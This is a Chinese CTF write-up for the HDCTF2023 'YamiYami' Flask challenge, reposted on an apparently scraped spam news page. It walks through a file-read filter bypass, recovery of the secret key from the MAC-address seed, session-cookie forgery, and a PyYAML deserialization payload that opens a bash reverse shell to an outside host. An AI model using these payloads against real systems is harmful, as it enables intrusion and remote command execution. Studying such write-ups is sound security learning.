当前位置: 首页 > news >正文

网站建设公司广告语宣传语优化网站的网站

网站建设公司广告语宣传语,优化网站的网站,火车头wordpress采集后定时发布,吉首网络推广提示#xff1a;文章写完后#xff0c;目录可以自动生成#xff0c;如何生成可参考右边的帮助文档 文章目录 前言涉及知识点解题详细过程session伪造反弹shell 前言 从暑假末尾一直搁置#xff0c;当时卡在反弹shell搞得离flag就差一步。不过最近一两天学习完反弹shell的知… 提示文章写完后目录可以自动生成如何生成可参考右边的帮助文档 文章目录 前言涉及知识点解题详细过程session伪造反弹shell 前言 从暑假末尾一直搁置当时卡在反弹shell搞得离flag就差一步。不过最近一两天学习完反弹shell的知识后直接拿下此题学习了好几个没学过知识。 涉及知识点 Yami反序列化session伪造seed生成伪随机数反弹shell读取源码 解题详细过程 打开题目大概看一下不同功能 第一个Read应该是可以读取代码 然后第二个可以上传文件 最后一个点进去发现提示我们查看/app 我们点击第一个链接输入 ?urlfile:///app/app.py发现不行那么我们用url二次编码绕过 app/app.py -- %2561%2570%2570%252F%2561%2570%2570%252E%2570%2579成功得到源码 我们整理一下源码如下 # encoding:utf-8 import os import requests import re, random, uuid from flask import * from werkzeug.utils import * import yaml #问题所在 pyyaml反序列化 from urllib.request import urlopenapp Flask(__name__) random.seed(uuid.getnode()) app.config[SECRET_KEY] str(random.random() * 233) app.debug False BLACK_LIST [yaml, YAML, YML, yml, yamiyami] app.config[UPLOAD_FOLDER] /app/uploadsapp.route(/) def index():session[passport] YamiYamireturn Welcome to HDCTF2023 a href/read?urlhttps://baidu.comRead somethings/abrHere is the challenge a href/uploadUpload file/abrEnjoy it a href/pwdpwd/aapp.route(/pwd) def pwd():return str(pwdpath)app.route(/read) def read():try:url request.args.get(url)m re.findall(app.*, url, re.IGNORECASE)n re.findall(flag, url, re.IGNORECASE)if m:return re.findall(app.*, url, re.IGNORECASE)if n:return re.findall(flag, url, re.IGNORECASE)res urlopen(url)return res.read()except Exception as ex:print(str(ex))return no responsedef allowed_file(filename):for blackstr in BLACK_LIST:if blackstr in filename:return Falsereturn Trueapp.route(/upload, methods[GET, POST]) def upload_file():if request.method POST:if file not in request.files:flash(No file part)return redirect(request.url)file request.files[file]if file.filename :return Empty fileif file and allowed_file(file.filename):filename secure_filename(file.filename)if not os.path.exists(./uploads/):os.makedirs(./uploads/)file.save(os.path.join(app.config[UPLOAD_FOLDER], filename))return upload successfully!return render_template(index.html)app.route(/boogipop) def load():if session.get(passport) Welcome To HDCTF2023:LoadedFile request.args.get(file)if not os.path.exists(LoadedFile):return file not existswith open(LoadedFile) as f:yaml.full_load(f)f.close()return van you seeelse:return No Auth broif __name__ __main__:在这里插入代码片pwdpath os.popen(pwd).read()app.run(debugFalse,host0.0.0.0)print(app.config[SECRET_KEY]) 分析一下 定义了load()函数用于处理/boogipop路由的请求。看看if条件先是对session值进行验证然后获取文件名。最后可以发现存在反序列化漏洞因为yaml.full_load() 对用户上传的文件进行反序列化操作。 再看看upload_file()函数就是对上传文件进行验证拓展名是否在黑名单中。 这里的上传黑名单禁掉了Yaml等这其实是一个难点。但是上传txt文件也能被解析成Yaml。猜测可能是这里full_load调用了load函数而load函数输入的是一个steam,也就是流二进制文件所以不管是什么后缀都无关紧要了 为了绕过load()函数的if条件限制我们首要目的是session伪造 session伪造 其中密钥的获取方法题目已经告诉我们 random.seed(uuid.getnode()) app.config[SECRET_KEY] str(random.random() * 233)关于uuid.getnode()函数 uuid.getnode() 是 Python 中的一个函数用于获取本地计算机的 MAC 地址物理地址作为一个 48 位整数。它属于 uuid 模块用于生成和操作 UUID通用唯一标识符。 对于伪随机数当seed固定时生成的随机数是可以预测的也就是顺序为固定的所以只要知道seed的值即可。这里看到seed使用的uuid.getnode()函数该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。 ?urlfile:///sys/class/net/eth0/address生成伪随机数脚本 import uuid,random random.seed(0x0242ac02ad42) print(str(random.random()*233))生成后用工具flask-session-cookie 解密 python flask_session_cookie_manager3.py decode -s 76.57659277973795 -c eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZPiBMQ._UO0MSFCniq6fzbPNKFVXmRAnJ8加密 python flask_session_cookie_manager3.py encode -s 76.57659277973795 -t {passport: Welcome To HDCTF2023}准备好session 反弹shell 要上传的反弹shell脚本命名为1.txt - !!python/object/new:strargs: []state: !!python/tuple- __import__(os).system(bash -c \bash -i /dev/tcp/f57819674z.imdo.co/29964 01\)- !!python/object/new:staticmethodargs: [0]state:update: !!python/name:exec在上传界面上传然后访问./boogipop?fileuploads/1.txt 发现不行这里就要用到伪造的session 我们先打开kali监听一下 nc -lvp 1028然后bp抓包修改session值 成功反弹shell ls一下发现flag.sh是假的 真的flag在/tmp里得到flag
http://www.sadfv.cn/news/40148/

相关文章:

  • 淮安做网站优化建设第三方公众号平台网站教程
  • microsoft做网站seo实战密码第四版
  • 我的三次做网站的经历炫酷的移动端网站
  • 网站二维码怎么制作哪些网站做的海报比较高大上
  • 阳区城市规划建设局网站山西省煤炭基本建设局网站
  • 无法打开网站若要访问本地iis网站必须安装下列iis组件自己做的网站显示不安全怎么回事
  • 郑州网站制作专业乐云seo廊坊cms建站系统
  • 北京好的网站设计机构凡科商城是什么
  • ps手机网站页面设计不会网站维护可以做吗
  • 汕头cms模板建站深圳的大公司
  • 成都网站搭建公司哪家便宜的建站网站
  • icp ip 网站备案南宁网站设计
  • 如何选择家居网站建设企业品牌推广的核心目的是
  • 网站响应式与电脑版有什么区别河南专业做网站
  • 大型电子商务网站建设成本建设部网站施工合同
  • 网站开发工作量评估做网站推广员工
  • 北京app建设 网站开发公司线上营销推广
  • 赣州做网站的公司有哪家好怎么建立网站?
  • 触屏网站建设wordpress同步用户
  • 徐州网站定制公司自动生成代码
  • 上海企业建站推荐建设局招标办网站
  • 设计师招聘网站有哪些镇江企业网站制作
  • 百度做网站多商城网站开发 价格
  • 音乐网站设计品牌营销网站建设流程
  • 建一个企业网站要花多少钱王也动漫
  • 南阳淅川县制作网站的公司个人网站开发赚钱方向
  • 163企业邮箱免费注册网站推广和优化系统
  • 商业网站建设案例课程视屏下载免费推广网
  • 绵阳公司商务网站制作wordpress完整主题
  • 怎么做旅店网站模板网站建设一条龙